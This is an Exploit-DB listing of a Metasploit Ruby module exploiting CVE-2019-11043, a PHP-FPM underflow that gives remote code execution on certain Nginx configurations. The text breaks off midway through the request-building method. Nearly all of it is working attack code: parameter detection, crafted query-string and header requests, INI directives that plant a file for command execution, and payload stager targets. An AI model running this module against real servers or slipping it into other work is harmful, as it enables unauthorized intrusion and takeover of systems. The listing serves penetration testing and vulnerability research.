Exploit-DB #48182
Description: PHP-FPM - Underflow Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2020-03-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'PHP-FPM Underflow RCE',
        'Description'    => %q(
          This module exploits an underflow vulnerability in versions 7.1.x
          below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
          Nginx. Only servers with certains Nginx + PHP-FPM configurations are
          exploitable. This is a port of the original neex's exploit code (see
          refs.). First, it detects the correct parameters (Query String Length
          and custom header length) needed to trigger code execution. This step
          determines if the target is actually vulnerable (Check method). Then,
          the exploit sets a series of PHP INI directives to create a file
          locally on the target, which enables code execution through a query
          string parameter. This is used to execute normal payload stagers.
          Finally, this module does some cleanup by killing local PHP-FPM
          workers (those are spawned automatically once killed) and removing
          the created local file.
        ),
        'Author'         => [
          'neex',          # (Emil Lerner) Discovery and original exploit code
          'cdelafuente-r7' # This module
        ],
        'References'     =>
          [
            ['CVE', '2019-11043'],
            ['EDB', '47553'],
            ['URL', 'https://github.com/neex/phuip-fpizdam'],
            ['URL', 'https://bugs.php.net/bug.php?id=78599'],
            ['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
          ],
        'DisclosureDate' => "2019-10-22",
        'License'        => MSF_LICENSE,
        'Payload'        => {
          'BadChars' => "&>\' "
        },
        'Targets'        => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch'     => ARCH_PHP,
              'Payload'  => {
                'PrependEncoder' => "php -r \"",
                'AppendEncoder'  => "\""
              }
            }
          ],
          [
            'Shell Command', {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes'         => {
          'Stability'   => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
    ])

    register_advanced_options([
      OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
      OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
      OptInt.new('QSLHint', [false, 'Query string length hint']),
      OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
      OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
      OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
      OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
      OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
      OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
      OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
    ])
    @filename = rand_text_alpha(1)
    @http_param = rand_text_alpha(1)
  end

  CHECK_COMMAND   = "which which"
  SUCCESS_PATTERN = "/bin/which"

  class DetectMethod
    attr_reader :php_option_enable, :php_option_disable

    def initialize(php_option_enable:, php_option_disable:, check_cb:)
      @php_option_enable = php_option_enable
      @php_option_disable = php_option_disable
      @check_cb = check_cb
    end

    def php_option_enabled?(res)
      !!@check_cb.call(res)
    end
  end

  def self.detect_methods
    {
      'session.auto_start' => DetectMethod.new(
        php_option_enable: 'session.auto_start=1',
        php_option_disable: 'session.auto_start=0',
        check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
      ),
      'output_handler.md5' => DetectMethod.new(
        php_option_enable:  'output_handler=md5',
        php_option_disable: 'output_handler=NULL',
        check_cb: ->(res) { res.body.length == 16 }
      )
    }
  end

  def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
    uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
    qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
    if qsl_delta.odd?
      fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
    end
    prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
    qsl_prime = qsl - qsl_delta/2 - prefix.length
    if qsl_prime < 0
      fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
    end
    uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
    opts = {
      'method'  => 'GET',
      'uri'     => uri,
      'headers' => {
        'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
        'Nuut'    => Rex::Text.rand_text_alphanumeric(11)
      }
    }
    actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
    actual_timeout ||= 20